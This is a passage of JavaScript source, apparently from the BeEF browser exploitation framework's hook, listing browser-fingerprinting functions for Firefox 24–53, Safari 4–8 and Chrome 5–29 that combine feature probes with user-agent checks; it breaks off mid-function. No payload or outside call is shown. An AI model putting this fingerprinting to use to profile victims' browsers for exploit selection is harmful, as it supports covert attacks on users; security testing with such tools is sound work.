  3058. * Returns true if FF24
  3059. * @example: beef.browser.isFF24()
  3060. */
  3061. isFF24: function () {
  3062. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
  3063. },
  3064.  
  3065. /**
  3066. * Returns true if FF25
  3067. * @example: beef.browser.isFF25()
  3068. */
  3069. isFF25: function () {
  3070. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
  3071. },
  3072.  
  3073. /**
  3074. * Returns true if FF26
  3075. * @example: beef.browser.isFF26()
  3076. */
  3077. isFF26: function () {
  3078. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
  3079. },
  3080.  
  3081. /**
  3082. * Returns true if FF27
  3083. * @example: beef.browser.isFF27()
  3084. */
  3085. isFF27: function () {
  3086. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
  3087. },
  3088.  
  3089. /**
  3090. * Returns true if FF28
  3091. * @example: beef.browser.isFF28()
  3092. */
  3093. isFF28: function () {
  3094. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
  3095. },
  3096.  
  3097. /**
  3098. * Returns true if FF29
  3099. * @example: beef.browser.isFF29()
  3100. */
  3101. isFF29: function () {
  3102. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
  3103. },
  3104.  
  3105. /**
  3106. * Returns true if FF30
  3107. * @example: beef.browser.isFF30()
  3108. */
  3109. isFF30: function () {
  3110. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
  3111. },
  3112.  
  3113. /**
  3114. * Returns true if FF31
  3115. * @example: beef.browser.isFF31()
  3116. */
  3117. isFF31: function () {
  3118. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
  3119. },
  3120.  
  3121. /**
  3122. * Returns true if FF32
  3123. * @example: beef.browser.isFF32()
  3124. */
  3125. isFF32: function () {
  3126. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
  3127. },
  3128.  
  3129. /**
  3130. * Returns true if FF33
  3131. * @example: beef.browser.isFF33()
  3132. */
  3133. isFF33: function () {
  3134. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
  3135. },
  3136.  
  3137. /**
  3138. * Returns true if FF34
  3139. * @example: beef.browser.isFF34()
  3140. */
  3141. isFF34: function () {
  3142. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
  3143. },
  3144.  
  3145. /**
  3146. * Returns true if FF35
  3147. * @example: beef.browser.isFF35()
  3148. */
  3149. isFF35: function () {
  3150. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
  3151. },
  3152.  
  3153. /**
  3154. * Returns true if FF36
  3155. * @example: beef.browser.isFF36()
  3156. */
  3157. isFF36: function () {
  3158. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
  3159. },
  3160.  
  3161. /**
  3162. * Returns true if FF37
  3163. * @example: beef.browser.isFF37()
  3164. */
  3165. isFF37: function () {
  3166. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
  3167. },
  3168.  
  3169. /**
  3170. * Returns true if FF38
  3171. * @example: beef.browser.isFF38()
  3172. */
  3173. isFF38: function () {
  3174. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
  3175. },
  3176.  
  3177. /**
  3178. * Returns true if FF39
  3179. * @example: beef.browser.isFF39()
  3180. */
  3181. isFF39: function () {
  3182. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
  3183. },
  3184.  
  3185. /**
  3186. * Returns true if FF40
  3187. * @example: beef.browser.isFF40()
  3188. */
  3189. isFF40: function () {
  3190. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
  3191. },
  3192.  
  3193. /**
  3194. * Returns true if FF41
  3195. * @example: beef.browser.isFF41()
  3196. */
  3197. isFF41: function () {
  3198. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
  3199. },
  3200.  
  3201. /**
  3202. * Returns true if FF42
  3203. * @example: beef.browser.isFF42()
  3204. */
  3205. isFF42: function () {
  3206. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
  3207. },
  3208.  
  3209. /**
  3210. * Returns true if FF43
  3211. * @example: beef.browser.isFF43()
  3212. */
  3213. isFF43: function () {
  3214. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
  3215. },
  3216.  
  3217. /**
  3218. * Returns true if FF44
  3219. * @example: beef.browser.isFF44()
  3220. */
  3221. isFF44: function () {
  3222. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
  3223. },
  3224.  
  3225. /**
  3226. * Returns true if FF45
  3227. * @example: beef.browser.isFF45()
  3228. */
  3229. isFF45: function () {
  3230. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
  3231. },
  3232.  
  3233. /**
  3234. * Returns true if FF46
  3235. * @example: beef.browser.isFF46()
  3236. */
  3237. isFF46: function () {
  3238. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
  3239. },
  3240.  
  3241. /**
  3242. * Returns true if FF47
  3243. * @example: beef.browser.isFF47()
  3244. */
  3245. isFF47: function () {
  3246. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
  3247. },
  3248.  
  3249. /**
  3250. * Returns true if FF48
  3251. * @example: beef.browser.isFF48()
  3252. */
  3253. isFF48: function () {
  3254. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
  3255. },
  3256.  
  3257. /**
  3258. * Returns true if FF49
  3259. * @example: beef.browser.isFF49()
  3260. */
  3261. isFF49: function () {
  3262. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
  3263. },
  3264.  
  3265. /**
  3266. * Returns true if FF50
  3267. * @example: beef.browser.isFF50()
  3268. */
  3269. isFF50: function () {
  3270. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
  3271. },
  3272.  
  3273. /**
  3274. * Returns true if FF51
  3275. * @example: beef.browser.isFF51()
  3276. */
  3277. isFF51: function () {
  3278. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
  3279. },
  3280.  
  3281. /**
  3282. * Returns true if FF52
  3283. * @example: beef.browser.isFF52()
  3284. */
  3285. isFF52: function () {
  3286. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
  3287. },
  3288.  
  3289. /**
  3290. * Returns true if FF53
  3291. * @example: beef.browser.isFF53()
  3292. */
  3293. isFF53: function () {
  3294. return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
  3295. },
  3296.  
  3297.  
  3298. /**
  3299. * Returns true if FF.
  3300. * @example: beef.browser.isFF()
  3301. */
  3302. isFF: function () {
  3303. return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53();
  3304. },
  3305.  
  3306. /**
  3307. * Returns true if Safari 4.xx
  3308. * @example: beef.browser.isS4()
  3309. */
  3310. isS4: function () {
  3311. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3312. },
  3313.  
  3314. /**
  3315. * Returns true if Safari 5.xx
  3316. * @example: beef.browser.isS5()
  3317. */
  3318. isS5: function () {
  3319. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3320. },
  3321.  
  3322. /**
  3323. * Returns true if Safari 6.xx
  3324. * @example: beef.browser.isS6()
  3325. */
  3326. isS6: function () {
  3327. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3328. },
  3329.  
  3330. /**
  3331. * Returns true if Safari 7.xx
  3332. * @example: beef.browser.isS7()
  3333. */
  3334. isS7: function () {
  3335. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3336. },
  3337.  
  3338. /**
  3339. * Returns true if Safari 8.xx
  3340. * @example: beef.browser.isS8()
  3341. */
  3342. isS8: function () {
  3343. return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  3344. },
  3345.  
  3346. /**
  3347. * Returns true if Safari.
  3348. * @example: beef.browser.isS()
  3349. */
  3350. isS: function () {
  3351. return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  3352. },
  3353.  
  3354. /**
  3355. * Returns true if Chrome 5.
  3356. * @example: beef.browser.isC5()
  3357. */
  3358. isC5: function () {
  3359. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
  3360. },
  3361.  
  3362. /**
  3363. * Returns true if Chrome 6.
  3364. * @example: beef.browser.isC6()
  3365. */
  3366. isC6: function () {
  3367. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
  3368. },
  3369.  
  3370. /**
  3371. * Returns true if Chrome 7.
  3372. * @example: beef.browser.isC7()
  3373. */
  3374. isC7: function () {
  3375. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
  3376. },
  3377.  
  3378. /**
  3379. * Returns true if Chrome 8.
  3380. * @example: beef.browser.isC8()
  3381. */
  3382. isC8: function () {
  3383. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
  3384. },
  3385.  
  3386. /**
  3387. * Returns true if Chrome 9.
  3388. * @example: beef.browser.isC9()
  3389. */
  3390. isC9: function () {
  3391. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
  3392. },
  3393.  
  3394. /**
  3395. * Returns true if Chrome 10.
  3396. * @example: beef.browser.isC10()
  3397. */
  3398. isC10: function () {
  3399. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
  3400. },
  3401.  
  3402. /**
  3403. * Returns true if Chrome 11.
  3404. * @example: beef.browser.isC11()
  3405. */
  3406. isC11: function () {
  3407. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
  3408. },
  3409.  
  3410. /**
  3411. * Returns true if Chrome 12.
  3412. * @example: beef.browser.isC12()
  3413. */
  3414. isC12: function () {
  3415. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
  3416. },
  3417.  
  3418. /**
  3419. * Returns true if Chrome 13.
  3420. * @example: beef.browser.isC13()
  3421. */
  3422. isC13: function () {
  3423. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
  3424. },
  3425.  
  3426. /**
  3427. * Returns true if Chrome 14.
  3428. * @example: beef.browser.isC14()
  3429. */
  3430. isC14: function () {
  3431. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
  3432. },
  3433.  
  3434. /**
  3435. * Returns true if Chrome 15.
  3436. * @example: beef.browser.isC15()
  3437. */
  3438. isC15: function () {
  3439. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
  3440. },
  3441.  
  3442. /**
  3443. * Returns true if Chrome 16.
  3444. * @example: beef.browser.isC16()
  3445. */
  3446. isC16: function () {
  3447. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
  3448. },
  3449.  
  3450. /**
  3451. * Returns true if Chrome 17.
  3452. * @example: beef.browser.isC17()
  3453. */
  3454. isC17: function () {
  3455. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
  3456. },
  3457.  
  3458. /**
  3459. * Returns true if Chrome 18.
  3460. * @example: beef.browser.isC18()
  3461. */
  3462. isC18: function () {
  3463. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
  3464. },
  3465.  
  3466. /**
  3467. * Returns true if Chrome 19.
  3468. * @example: beef.browser.isC19()
  3469. */
  3470. isC19: function () {
  3471. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
  3472. },
  3473.  
  3474. /**
  3475. * Returns true if Chrome for iOS 19.
  3476. * @example: beef.browser.isC19iOS()
  3477. */
  3478. isC19iOS: function () {
  3479. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  3480. },
  3481.  
  3482. /**
  3483. * Returns true if Chrome 20.
  3484. * @example: beef.browser.isC20()
  3485. */
  3486. isC20: function () {
  3487. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
  3488. },
  3489.  
  3490. /**
  3491. * Returns true if Chrome for iOS 20.
  3492. * @example: beef.browser.isC20iOS()
  3493. */
  3494. isC20iOS: function () {
  3495. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  3496. },
  3497.  
  3498. /**
  3499. * Returns true if Chrome 21.
  3500. * @example: beef.browser.isC21()
  3501. */
  3502. isC21: function () {
  3503. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
  3504. },
  3505.  
  3506. /**
  3507. * Returns true if Chrome for iOS 21.
  3508. * @example: beef.browser.isC21iOS()
  3509. */
  3510. isC21iOS: function () {
  3511. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  3512. },
  3513.  
  3514. /**
  3515. * Returns true if Chrome 22.
  3516. * @example: beef.browser.isC22()
  3517. */
  3518. isC22: function () {
  3519. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
  3520. },
  3521.  
  3522. /**
  3523. * Returns true if Chrome for iOS 22.
  3524. * @example: beef.browser.isC22iOS()
  3525. */
  3526. isC22iOS: function () {
  3527. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  3528. },
  3529.  
  3530. /**
  3531. * Returns true if Chrome 23.
  3532. * @example: beef.browser.isC23()
  3533. */
  3534. isC23: function () {
  3535. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
  3536. },
  3537.  
  3538. /**
  3539. * Returns true if Chrome for iOS 23.
  3540. * @example: beef.browser.isC23iOS()
  3541. */
  3542. isC23iOS: function () {
  3543. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  3544. },
  3545.  
  3546. /**
  3547. * Returns true if Chrome 24.
  3548. * @example: beef.browser.isC24()
  3549. */
  3550. isC24: function () {
  3551. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ? true : false);
  3552. },
  3553.  
  3554. /**
  3555. * Returns true if Chrome for iOS 24.
  3556. * @example: beef.browser.isC24iOS()
  3557. */
  3558. isC24iOS: function () {
  3559. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  3560. },
  3561.  
  3562. /**
  3563. * Returns true if Chrome 25.
  3564. * @example: beef.browser.isC25()
  3565. */
  3566. isC25: function () {
  3567. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ? true : false);
  3568. },
  3569.  
  3570. /**
  3571. * Returns true if Chrome for iOS 25.
  3572. * @example: beef.browser.isC25iOS()
  3573. */
  3574. isC25iOS: function () {
  3575. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  3576. },
  3577.  
  3578. /**
  3579. * Returns true if Chrome 26.
  3580. * @example: beef.browser.isC26()
  3581. */
  3582. isC26: function () {
  3583. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ? true : false);
  3584. },
  3585.  
  3586. /**
  3587. * Returns true if Chrome for iOS 26.
  3588. * @example: beef.browser.isC26iOS()
  3589. */
  3590. isC26iOS: function () {
  3591. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  3592. },
  3593.  
  3594. /**
  3595. * Returns true if Chrome 27.
  3596. * @example: beef.browser.isC27()
  3597. */
  3598. isC27: function () {
  3599. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ? true : false);
  3600. },
  3601.  
  3602. /**
  3603. * Returns true if Chrome for iOS 27.
  3604. * @example: beef.browser.isC27iOS()
  3605. */
  3606. isC27iOS: function () {
  3607. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  3608. },
  3609.  
  3610. /**
  3611. * Returns true if Chrome 28.
  3612. * @example: beef.browser.isC28()
  3613. */
  3614. isC28: function () {
  3615. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ? true : false);
  3616. },
  3617.  
  3618. /**
  3619. * Returns true if Chrome for iOS 28.
  3620. * @example: beef.browser.isC28iOS()
  3621. */
  3622. isC28iOS: function () {
  3623. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  3624. },
  3625.  
  3626. /**
  3627. * Returns true if Chrome 29.
  3628. * @example: beef.browser.isC29()
  3629. */
  3630. isC29: function () {
  3631. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
  3632. },
  3633.  
  3634. /**
  3635. * Returns true if Chrome for iOS 29.
  3636. * @example: beef.browser.isC29iOS()
  3637. */
  3638. isC29iOS: function () {
